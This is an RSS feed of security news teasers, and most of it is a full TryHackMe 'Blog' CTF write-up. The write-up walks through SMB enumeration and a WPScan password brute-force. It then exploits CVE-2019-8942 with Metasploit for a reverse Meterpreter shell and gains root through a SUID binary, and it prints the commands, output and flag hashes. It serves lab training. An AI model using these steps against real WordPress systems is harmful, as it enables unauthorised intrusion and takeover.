<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.6.19...v2026.7.1">v2026.6.19...v2026.7.1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[False Positive or First Sign of a Breach? How Tier 1 SOC Analysts Can Tell the Difference Faster]]></title>
<description><![CDATA[Imagine a Tier 1 analyst receiving an alert: an employee’s laptop has connected to an unfamiliar domain.  The detection is not dramatic. No ransomware note. No obvious malware verdict. No endpoint isolation. Just a domain, an IP address, a timestamp, and a medium-severity…
Read more →
The post Fa...]]></description>
<link>https://tsecurity.de/de/3636287/it-security-nachrichten/falsepositiveorfirstsignofabreachhowtier1-socanalystscantellthedifferencefaster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636287/it-security-nachrichten/falsepositiveorfirstsignofabreachhowtier1-socanalystscantellthedifferencefaster/</guid>
<pubDate>Tue, 30 Jun 2026 18:38:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Imagine a Tier 1 analyst receiving an alert: an employee’s laptop has connected to an unfamiliar domain.  The detection is not dramatic. No ransomware note. No obvious malware verdict. No endpoint isolation. Just a domain, an IP address, a timestamp, and a medium-severity…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/false-positive-or-first-sign-of-a-breach-how-tier-1-soc-analysts-can-tell-the-difference-faster/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/false-positive-or-first-sign-of-a-breach-how-tier-1-soc-analysts-can-tell-the-difference-faster/">False Positive or First Sign of a Breach? How Tier 1 SOC Analysts Can Tell the Difference Faster</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[False Positive or First Sign of a Breach? How Tier 1 SOC Analysts Can Tell the Difference Faster ]]></title>
<description><![CDATA[Imagine a Tier 1 analyst receiving an alert: an employee’s laptop has connected to an unfamiliar domain.  The detection is not dramatic. No ransomware note. No obvious malware verdict. No endpoint isolation. Just a domain, an IP address, a timestamp, and a medium-severity alert.  The analyst open...]]></description>
<link>https://tsecurity.de/de/3636213/it-security-nachrichten/falsepositiveorfirstsignofabreachhowtier1-socanalystscantellthedifferencefaster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636213/it-security-nachrichten/falsepositiveorfirstsignofabreachhowtier1-socanalystscantellthedifferencefaster/</guid>
<pubDate>Tue, 30 Jun 2026 18:24:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Imagine a Tier 1 analyst receiving an alert: an employee’s laptop has connected to an unfamiliar domain.  The detection is not dramatic. No ransomware note. No obvious malware verdict. No endpoint isolation. Just a domain, an IP address, a timestamp, and a medium-severity alert.  The analyst opens a reputation service in one tab. The result is inconclusive. A […]</p>
<p>The post <a href="https://cybersecuritynews.com/false-positive-or-first-sign-of-a-breach-how-tier-1-soc-analysts-can-tell-the-difference-faster/">False Positive or First Sign of a Breach? How Tier 1 SOC Analysts Can Tell the Difference Faster </a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's $502M payment to Optis over patent infringement goes to UK Supreme Court]]></title>
<description><![CDATA[Apple is contesting a ruling that would force it to pay Optis $502 million for LTE patent infringement, but the UK Supreme Court has yet to reach a verdict.Apple seeks to avoid paying Optis $502 million over alleged patent infringement.The legal battle between Apple and Optis goes back to Februar...]]></description>
<link>https://tsecurity.de/de/3634209/ios-mac-os/apples-502m-payment-to-optis-over-patent-infringement-goes-to-uk-supreme-court/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634209/ios-mac-os/apples-502m-payment-to-optis-over-patent-infringement-goes-to-uk-supreme-court/</guid>
<pubDate>Tue, 30 Jun 2026 01:08:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is contesting a ruling that would force it to pay Optis $502 million for LTE patent infringement, but the UK Supreme Court has yet to reach a verdict.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68112-143567-iPhone-Air-xl.jpg" alt="Back of a white iPhone with a single rear camera and flash on a raised module, Apple logo centered, against a soft blue blurred background" height="738"><br><span>Apple seeks to avoid paying Optis $502 million over alleged patent infringement.</span></div><br>The legal battle between Apple and Optis goes back to <a href="https://appleinsider.com/articles/19/02/26/apples-iphone-ipad-more-targeted-in-new-lawsuit-over-lte-patents">February 2019</a>, and there's still no end in sight all these years later. Apple was accused of infringing upon Optis' LTE patents, which ultimately led to lawsuits in both the United Kingdom and the United States.<br><br>The latter case resulted in Apple's victory, as it avoided paying Optis $300M in damages in <a href="https://appleinsider.com/articles/26/02/13/third-optis-jury-trial-results-in-a-victory-for-apple-in-the-us">February 2026</a>. The outcome of the UK lawsuit, however, isn't quite as clear-cut.<br><br><br> <a href="https://appleinsider.com/articles/26/06/29/apples-502m-payment-to-optis-over-patent-infringement-goes-to-uk-supreme-court?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244824?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[ATM-Jackpotting mit Ploutus: 78 Monate Haft und 1,54 Mio. US-Dollar Schadenersatz]]></title>
<description><![CDATA[LINCOLN (NEBRASKA) / LONDON (IT BOLTWISE) – Zwei Angeklagte aus Venezuela erhielten Haftstrafen von 78 Monaten wegen ATM-Jackpotting mit Malware. Nach Angaben der Ermittler nutzten sie Ploutus, um Geldautomaten in den USA zu manipulieren und unerlaubte Abhebungen auszulösen. Zusätzlich wurden ihn...]]></description>
<link>https://tsecurity.de/de/3632954/it-security-nachrichten/atm-jackpotting-mit-ploutus-78-monate-haft-und-154-mio-us-dollar-schadenersatz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632954/it-security-nachrichten/atm-jackpotting-mit-ploutus-78-monate-haft-und-154-mio-us-dollar-schadenersatz/</guid>
<pubDate>Mon, 29 Jun 2026 15:09:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-atm-jackpotting-ploutus-verdict.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-atm-jackpotting-ploutus-verdict.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-atm-jackpotting-ploutus-verdict-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-atm-jackpotting-ploutus-verdict-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-atm-jackpotting-ploutus-verdict-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-atm-jackpotting-ploutus-verdict-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-atm-jackpotting-ploutus-verdict-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LINCOLN (NEBRASKA) / LONDON (IT BOLTWISE) – Zwei Angeklagte aus Venezuela erhielten Haftstrafen von 78 Monaten wegen ATM-Jackpotting mit Malware. Nach Angaben der Ermittler nutzten sie Ploutus, um Geldautomaten in den USA zu manipulieren und unerlaubte Abhebungen auszulösen. Zusätzlich wurden ihnen gemeinschaftlich 1.537.696 US-Dollar Schadenersatz auferlegt. Der Fall zeigt, wie schnell sich organisierte Kriminalität die […]</p>
<div><a href="https://www.it-boltwise.de/atm-jackpotting-mit-ploutus-78-monate-haft-und-154-mio-us-dollar-schadenersatz.html">... den vollständigen Artikel <strong>»ATM-Jackpotting mit Ploutus: 78 Monate Haft und 1,54 Mio. US-Dollar Schadenersatz«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/atm-jackpotting-mit-ploutus-78-monate-haft-und-154-mio-us-dollar-schadenersatz.html">ATM-Jackpotting mit Ploutus: 78 Monate Haft und 1,54 Mio. US-Dollar Schadenersatz</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I spent a week watching and playing these 3 intriguing horror titles — here's my verdict on which ones are worth your time]]></title>
<description><![CDATA[The Terror: Devil in Silver, Mean Creek, and The Sinking City caught my eye this week. But are they worth your time?]]></description>
<link>https://tsecurity.de/de/3630136/it-nachrichten/i-spent-a-week-watching-and-playing-these-3-intriguing-horror-titles-heres-my-verdict-on-which-ones-are-worth-your-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630136/it-nachrichten/i-spent-a-week-watching-and-playing-these-3-intriguing-horror-titles-heres-my-verdict-on-which-ones-are-worth-your-time/</guid>
<pubDate>Sat, 27 Jun 2026 22:01:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Terror: Devil in Silver, Mean Creek, and The Sinking City caught my eye this week. But are they worth your time?]]></content:encoded>
</item>
<item>
<title><![CDATA[A privacy-first take on local malware analysis]]></title>
<description><![CDATA[Submitting a suspicious file to VirusTotal or MalwareBazaar places a copy of that file on a platform other people can search. Analysts across the industry rely on these services to get a quick verdict on whether a binary is dangerous.…
Read more →
The post A privacy-first take on local malware an...]]></description>
<link>https://tsecurity.de/de/3626483/it-security-nachrichten/a-privacy-first-take-on-local-malware-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626483/it-security-nachrichten/a-privacy-first-take-on-local-malware-analysis/</guid>
<pubDate>Fri, 26 Jun 2026 08:36:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Submitting a suspicious file to VirusTotal or MalwareBazaar places a copy of that file on a platform other people can search. Analysts across the industry rely on these services to get a quick verdict on whether a binary is dangerous.…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/a-privacy-first-take-on-local-malware-analysis/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/a-privacy-first-take-on-local-malware-analysis/">A privacy-first take on local malware analysis</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A privacy-first take on local malware analysis]]></title>
<description><![CDATA[Submitting a suspicious file to VirusTotal or MalwareBazaar places a copy of that file on a platform other people can search. Analysts across the industry rely on these services to get a quick verdict on whether a binary is dangerous. The convenience carries a condition many overlook. Once a samp...]]></description>
<link>https://tsecurity.de/de/3626466/it-security-nachrichten/a-privacy-first-take-on-local-malware-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626466/it-security-nachrichten/a-privacy-first-take-on-local-malware-analysis/</guid>
<pubDate>Fri, 26 Jun 2026 08:23:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Submitting a suspicious file to VirusTotal or MalwareBazaar places a copy of that file on a platform other people can search. Analysts across the industry rely on these services to get a quick verdict on whether a binary is dangerous. The convenience carries a condition many overlook. Once a sample reaches a public repository, the person who wrote it can locate it there. Skilled operators watch these platforms for the hashes of their own tools, … <a href="https://www.helpnetsecurity.com/2026/06/26/burnyard-local-malware-analysis/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/06/26/burnyard-local-malware-analysis/">A privacy-first take on local malware analysis</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Worried about GRC role]]></title>
<description><![CDATA[I’m a Software Engineer (MERN, Python, AWS) with an offer for a GRC/Identity Management role (Associate Security Analyst) at a healthcare product company. HR says it’s semi-technical/process-driven. I have background in development though. My questions: Future: Career growth/pay in GRC vs. pure S...]]></description>
<link>https://tsecurity.de/de/3626069/it-security-nachrichten/worried-about-grc-role/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626069/it-security-nachrichten/worried-about-grc-role/</guid>
<pubDate>Fri, 26 Jun 2026 02:05:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I’m a Software Engineer (MERN, Python, AWS) with an offer for a GRC/Identity Management role (Associate Security Analyst) at a healthcare product company. HR says it’s semi-technical/process-driven.</p> <p>I have background in development though.</p> <p>My questions:</p> <p>Future: Career growth/pay in GRC vs. pure SDE?</p> <p>Skill Decay: Will my coding skills die if I stay for 2 years?</p> <p>Pivot: Can I transition to DevSecOps or Security Engineering later?</p> <p>Verdict: Take it as a fresher or wait for an SDE role?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/SlightEntertainer360"> /u/SlightEntertainer360 </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1uef7sl/worried_about_grc_role/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1uef7sl/worried_about_grc_role/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Geekom's Prime Day mini PC deals just dropped — here's our verdict based on our benchmark tests]]></title>
<description><![CDATA[We benchmarked the best Geekom Amazon Prime Day deals to help you find the highest-performing mini PCs on sale today.]]></description>
<link>https://tsecurity.de/de/3622119/it-nachrichten/geekoms-prime-day-mini-pc-deals-just-dropped-heres-our-verdict-based-on-our-benchmark-tests/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622119/it-nachrichten/geekoms-prime-day-mini-pc-deals-just-dropped-heres-our-verdict-based-on-our-benchmark-tests/</guid>
<pubDate>Wed, 24 Jun 2026 18:18:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We benchmarked the best Geekom Amazon Prime Day deals to help you find the highest-performing mini PCs on sale today.]]></content:encoded>
</item>
<item>
<title><![CDATA[Should you hold off on the Oura Ring 5 and get the Oura Ring 4 instead? Here's our verdict]]></title>
<description><![CDATA[The Oura Ring 5 is the latest flagship model, but can you find better value by going for the Oura Ring 4 instead?]]></description>
<link>https://tsecurity.de/de/3616631/it-nachrichten/should-you-hold-off-on-the-oura-ring-5-and-get-the-oura-ring-4-instead-heres-our-verdict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616631/it-nachrichten/should-you-hold-off-on-the-oura-ring-5-and-get-the-oura-ring-4-instead-heres-our-verdict/</guid>
<pubDate>Mon, 22 Jun 2026 23:03:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Oura Ring 5 is the latest flagship model, but can you find better value by going for the Oura Ring 4 instead?]]></content:encoded>
</item>
<item>
<title><![CDATA[The Scripts on Your Checkout Page Are Now a PCI DSS Problem]]></title>
<description><![CDATA[An independent PCI assessor tested Reflectiz against the new PCI DSS rules. Here is the verdict: See the full QSA assessment here → When a customer types their card number into your checkout, their browser is running far more than…
Read more →
The post The Scripts on Your Checkout Page Are Now a ...]]></description>
<link>https://tsecurity.de/de/3607580/it-security-nachrichten/the-scripts-on-your-checkout-page-are-now-a-pci-dss-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607580/it-security-nachrichten/the-scripts-on-your-checkout-page-are-now-a-pci-dss-problem/</guid>
<pubDate>Thu, 18 Jun 2026 13:36:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An independent PCI assessor tested Reflectiz against the new PCI DSS rules. Here is the verdict: See the full QSA assessment here → When a customer types their card number into your checkout, their browser is running far more than…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-scripts-on-your-checkout-page-are-now-a-pci-dss-problem/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-scripts-on-your-checkout-page-are-now-a-pci-dss-problem/">The Scripts on Your Checkout Page Are Now a PCI DSS Problem</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Scripts on Your Checkout Page Are Now a PCI DSS Problem]]></title>
<description><![CDATA[An independent PCI assessor tested Reflectiz against the new PCI DSS rules. Here is the verdict: See the full QSA assessment here →

When a customer types their card number into your checkout, their browser is running far more than your code. Analytics tags, a tag manager, a support widget, a pay...]]></description>
<link>https://tsecurity.de/de/3607541/it-security-nachrichten/the-scripts-on-your-checkout-page-are-now-a-pci-dss-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607541/it-security-nachrichten/the-scripts-on-your-checkout-page-are-now-a-pci-dss-problem/</guid>
<pubDate>Thu, 18 Jun 2026 13:29:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An independent PCI assessor tested Reflectiz against the new PCI DSS rules. Here is the verdict: See the full QSA assessment here →

When a customer types their card number into your checkout, their browser is running far more than your code. Analytics tags, a tag manager, a support widget, a payment iframe: a modern checkout loads dozens of third-party scripts, and any one of them can be turned]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe — Blog CTF | Full Write-Up]]></title>
<description><![CDATA[Platform: TryHackMeRoom: BlogDifficulty: MediumAuthor: Shikhali Jamalzade“Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome!”IntroductionThe Blog room on TryHackMe is a medium-difficulty machine themed around a WordPress blog run by “Billy Joel...]]></description>
<link>https://tsecurity.de/de/3606856/hacking/tryhackme-blog-ctf-full-write-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606856/hacking/tryhackme-blog-ctf-full-write-up/</guid>
<pubDate>Thu, 18 Jun 2026 08:51:19 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uiddSAKswc3c72q8QRJ2Wg.png"></figure><h4><strong>Platform:</strong> <a href="https://tryhackme.com/p/alisalive.exe">TryHackMe</a><br><strong>Room:</strong> <a href="https://tryhackme.com/room/blog">Blog</a><br><strong>Difficulty:</strong> Medium<br><strong>Author:</strong> <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a></h4><blockquote>“Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome!”</blockquote><h3>Introduction</h3><p>The <strong>Blog</strong> room on TryHackMe is a medium-difficulty machine themed around a WordPress blog run by “Billy Joel.” Beneath the casual surface, the machine hides a real CVE — <strong>CVE-2019–8942</strong>, a WordPress image crop Remote Code Execution vulnerability — paired with an unconventional custom binary for privilege escalation that’ll make you think twice before assuming an exploit needs complex reverse engineering.</p><p>Your goals:</p><ul><li>Find user.txt (not where you expect it)</li><li>Find root.txt</li><li>Answer three bonus questions about the machine</li></ul><p>There’s also a deliberate <strong>rabbit hole</strong> built into this room — a clue about a company called “Rubber Ducky Inc.” that hints at where the real user.txt is hiding. More on that later.</p><h3>Setup — /etc/hosts</h3><p>Before anything else, the room requires you to add an entry to your hosts file. Without this, the WordPress site won’t load correctly due to how it handles virtual hosting on AWS.</p><p>bash</p><pre>echo "&lt;TARGET_IP&gt; blog.thm" | sudo tee -a /etc/hosts</pre><p>Verify it works:</p><p>bash</p><pre>curl -s http://blog.thm | head -20</pre><h3>Phase 1 — Reconnaissance</h3><h3>Nmap Scan</h3><p>bash</p><pre>nmap -sC -sV -T4 -oN nmap_scan.txt &lt;TARGET_IP&gt;</pre><p><strong>Results:</strong></p><pre>PORT    STATE SERVICE     VERSION<br>22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu<br>80/tcp  open  http        Apache httpd 2.4.29<br>139/tcp open  netbios-ssn Samba smbd 3.X - 4.X<br>445/tcp open  microsoft-ds Samba smbd 4.7.6-Ubuntu</pre><p>Four open ports: SSH (22), HTTP (80), and two SMB ports (139, 445). The SMB shares are interesting — let’s note them for later. The web server on port 80 is our primary entry point.</p><p>The nmap script output also reveals something valuable right away:</p><pre>| http-generator: WordPress 5.0</pre><p>WordPress 5.0. That version number will be very significant shortly.</p><h3>Phase 2 — SMB Enumeration (The Rabbit Hole)</h3><p>With SMB open, let’s enumerate it. This is where the room tries to send you down a rabbit hole — and it’s worth walking through so you understand <em>why</em> it’s a dead end.</p><p>bash</p><pre>smbclient -L //&lt;TARGET_IP&gt;/ -N</pre><p>There’s a share called BillySMB. Connect to it:</p><p>bash</p><pre>smbclient //&lt;TARGET_IP&gt;/BillySMB -N<br>smb: \&gt; ls<br>smb: \&gt; get Alice-White-Rabbit.jpg<br>smb: \&gt; get tswift.jpg<br>smb: \&gt; get check-this.png</pre><p>Checking these files for hidden data (steganography):</p><p>bash</p><pre>steghide extract -sf Alice-White-Rabbit.jpg<br>strings check-this.png<br>exiftool tswift.jpg</pre><p>You’ll find a .txt file embedded in the Alice image, but it contains nothing useful for exploitation. The "Rubber Ducky Inc." reference in the room description is actually a hint pointing at /media/usb — but that's for after we get root.</p><p><strong>Verdict: SMB is a rabbit hole. Move on.</strong></p><h3>Phase 3 — WordPress Enumeration</h3><p>Visit http://blog.thm in your browser. It's a simple WordPress blog — a few posts, a comment section, nothing remarkable on the surface.</p><h3>WPScan — Full Enumeration</h3><p>bash</p><pre>wpscan --url http://blog.thm --enumerate ap,at,u --detection-mode aggressive</pre><p><strong>Flag breakdown:</strong></p><ul><li>--enumerate ap — All Plugins</li><li>--enumerate at — All Themes</li><li>--enumerate u — Users</li><li>--detection-mode aggressive — More thorough (generates noise, but we're in a lab)</li></ul><p><strong>Key findings:</strong></p><pre>[+] WordPress version: 5.0 (Insecure, released on 2018-12-06)<br>[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php</pre><pre>[i] User(s) Identified:<br>    [+] kwheel<br>    [+] bjoel<br>    [+] Karen Wheeler<br>    [+] Billy Joel</pre><p>Two important takeaways:</p><ol><li>WordPress 5.0 is running — this is vulnerable to CVE-2019–8942</li><li>We have usernames: kwheel and bjoel</li></ol><p>You can also enumerate users via the WordPress REST API without WPScan:</p><pre>http://blog.thm/wp-json/wp/v2/users</pre><p>This returns a JSON response listing all registered users — another common WordPress misconfiguration.</p><h3>Phase 4 — Credential Brute-Force</h3><p>We have usernames but no passwords. WPScan can brute-force via the XML-RPC interface, which is faster than attacking the login form directly.</p><p>bash</p><pre>wpscan --url http://blog.thm \<br>  -U kwheel,bjoel \<br>  -P /usr/share/wordlists/rockyou.txt \<br>  -t 50</pre><ul><li>-U — Username list</li><li>-P — Password wordlist</li><li>-t 50 — 50 threads for speed</li></ul><p><strong>Result:</strong></p><pre>[SUCCESS] - kwheel / cutiepie1</pre><blockquote><strong><em>Credentials found:</em></strong><em> </em><em>kwheel:cutiepie1</em></blockquote><p>Note that bjoel (Billy Joel himself) doesn't have a crackable password in rockyou — the machine intentionally made kwheel (Karen Wheeler) the weak link.</p><h3>Phase 5 — Exploitation: CVE-2019–8942 (WordPress Crop-Image RCE)</h3><h3>Understanding the Vulnerability</h3><p><strong>CVE-2019–8942</strong> affects WordPress 5.0.0 and earlier. Here’s how it works conceptually:</p><p>When WordPress manages uploaded images, it stores file references in the database as “Post Meta” entries. When cropping an image, WordPress constructs a path from this meta entry — but it doesn’t sanitize the value properly. An attacker with author-level (or higher) access can manipulate this path to point to a PHP file they control, effectively uploading a webshell.</p><p>The vulnerability was discovered by RIPSTECH and patched in WordPress 5.0.1. Our target is running 5.0.0 — right in the vulnerable range.</p><p><strong>References:</strong></p><ul><li><a href="https://www.exploit-db.com/exploits/46662">ExploitDB #46662</a> — Metasploit module</li><li><a href="https://www.exploit-db.com/exploits/49512">ExploitDB #49512</a> — Python manual exploit</li></ul><h3>Exploitation with Metasploit</h3><p>bash</p><pre>msfconsole</pre><pre>msf6 &gt; use exploit/multi/http/wp_crop_rce<br>msf6 exploit(wp_crop_rce) &gt; show options</pre><p>Set the required options:</p><p>bash</p><pre>set RHOSTS &lt;TARGET_IP&gt;<br>set LHOST &lt;YOUR_VPN_IP&gt;     # Your tun0 IP, NOT wlan0<br>set LPORT 4444<br>set USERNAME kwheel<br>set PASSWORD cutiepie1<br>set TARGETURI /<br>run</pre><blockquote><strong><em>Important:</em></strong><em> LHOST must be your TryHackMe VPN IP (</em><em>tun0), not your local network IP. Run </em><em>ip a show tun0 to confirm.</em></blockquote><p>After a moment:</p><pre>[*] Started reverse TCP handler on &lt;YOUR_IP&gt;:4444<br>[*] Authenticating with WordPress using kwheel:cutiepie1...<br>[+] Authenticated with WordPress<br>[*] Preparing payload...<br>[*] Uploading payload<br>[*] Executing the payload<br>[+] Deleted malicious post<br>[+] Deleted malicious attachment<br>[*] Sending stage (39282 bytes) to &lt;TARGET_IP&gt;<br>[+] Meterpreter session 1 opened</pre><p>We have a Meterpreter session as www-data.</p><h3>Upgrading to a Full Shell</h3><p>From Meterpreter, drop into a system shell and stabilize it:</p><p>bash</p><pre>meterpreter &gt; shell<br>python -c 'import pty; pty.spawn("/bin/bash")'<br>export TERM=xterm<br># Press Ctrl+Z, then: stty raw -echo; fg</pre><p>bash</p><pre>id<br># uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><h3>Phase 6 — Post-Exploitation &amp; Flag Hunting</h3><h3>The Rabbit Hole — /home/bjoel</h3><p>bash</p><pre>cd /home<br>ls<br># bjoel</pre><pre>cd bjoel<br>ls -la<br># -rw-r--r-- 1 bjoel bjoel   57  ... user.txt<br># -rw-r--r-- 1 bjoel bjoel  ... Billy_Joel_Termination_May20-2020.pdf</pre><p>Read user.txt:</p><pre>cat user.txt<br># You won't find what you're looking for here.<br># TRY HARDER</pre><p>Classic CTF misdirection. The user.txt here is intentionally fake. The PDF is also a lore piece: Billy Joel was "terminated" by <strong>Rubber Ducky Inc.</strong> — remember that company name. It's a hint.</p><p>The real user.txt is mounted somewhere else. We'll find it after getting root.</p><h3>wp-config.php — Database Credentials</h3><p>While exploring, check the WordPress config:</p><p>bash</p><pre>cat /var/www/wordpress/wp-config.php | grep -E "DB_NAME|DB_USER|DB_PASSWORD"</pre><p>This reveals database credentials. You can log into MySQL and inspect the wp_users table:</p><p>bash</p><pre>mysql -u wordpress -p wordpress<br>SELECT user_login, user_pass FROM wp_users;</pre><p>You’ll find two password hashes. These are bcrypt-hashed and won’t crack easily — they’re another dead end.</p><h3>Phase 7 — Privilege Escalation: The checker Binary</h3><h3>Finding SUID Files</h3><p>bash</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><p>Among the standard SUID binaries, one stands out:</p><pre>/usr/sbin/checker</pre><p>This is not a standard Linux binary — it’s custom-built for this machine. Owned by root, SUID set. Let’s investigate.</p><h3>Running the Binary</h3><p>bash</p><pre>/usr/sbin/checker<br># Not an Admin</pre><p>It outputs “Not an Admin” and exits. But <em>how</em> does it decide we’re not an admin?</p><h3>Analyzing with ltrace</h3><p>ltrace intercepts and displays library calls made by a program as it runs — perfect for understanding what a binary is checking without needing to decompile it.</p><p>bash</p><pre>ltrace /usr/sbin/checker</pre><p><strong>Output:</strong></p><pre>getenv("admin")                      = nil<br>puts("Not an Admin")                 = 13<br>+++ exited (status 0) +++</pre><p>That’s all we needed to know. The binary calls getenv("admin") — it checks for an environment variable named admin. If it's nil (not set), it prints "Not an Admin" and exits. The check is purely existence-based; <strong>the value doesn't matter</strong>.</p><h3>Deeper Understanding — Ghidra (Optional)</h3><p>For the curious, the binary’s decompiled C logic in Ghidra looks approximately like this:</p><p>c</p><pre>int main() {<br>    char *admin = getenv("admin");<br>    if (admin == NULL) {<br>        puts("Not an Admin");<br>        exit(0);<br>    }<br>    setuid(0);       // Set UID to root<br>    system("/bin/bash");  // Drop into bash as root<br>}</pre><p>Because the binary has the SUID bit set and is owned by root, when setuid(0) is called, it escalates our process to run as root. All we need to do is make sure the admin environment variable exists.</p><h3>Exploiting the Binary</h3><p>bash</p><pre>export admin=1<br>/usr/sbin/checker</pre><p><strong>Result:</strong></p><pre>root@blog:/home/bjoel# id<br>uid=0(root) gid=33(www-data) groups=33(www-data)</pre><p>We are root.</p><h3>Capturing root.txt</h3><p>bash</p><pre>cat /root/root.txt</pre><blockquote><em>🚩 </em><strong><em>root.txt:</em></strong><em> </em><em>9a0b2b618bef9bfa7ac28c1353d9f318</em></blockquote><h3>Phase 8 — Finding the Real user.txt</h3><p>Remember “Rubber Ducky Inc.”? The USB reference in Billy’s termination letter was pointing us here:</p><p>bash</p><pre>find / -name "user.txt" 2&gt;/dev/null</pre><p><strong>Output:</strong></p><pre>/home/bjoel/user.txt       ← the fake one<br>/media/usb/user.txt        ← the real one</pre><p>bash</p><pre>cat /media/usb/user.txt</pre><blockquote><em>🚩 </em><strong><em>user.txt:</em></strong><em> </em><em>c8421899aae571f7af486492b71a8ab7</em></blockquote><p>The USB mount at /media/usb was inaccessible to www-data, which is why we couldn't read it before gaining root. The "Rubber Ducky" and "Termination" story in the PDF was the in-lore hint that a USB drive was involved.</p><h3>Room Questions — Answered</h3><p>QuestionAnswerWhat CMS was Billy using?WordPressWhat version of the above CMS was being used?5.0Where was user.txt found?/media/usb</p><h3>Attack Chain Summary</h3><pre>Nmap → 4 ports: SSH, HTTP (WordPress 5.0), SMB<br>           ↓<br>SMB enumeration → BillySMB share → rabbit hole (steganography, no useful data)<br>           ↓<br>WPScan enumeration → users: kwheel, bjoel<br>           ↓<br>WPScan brute-force 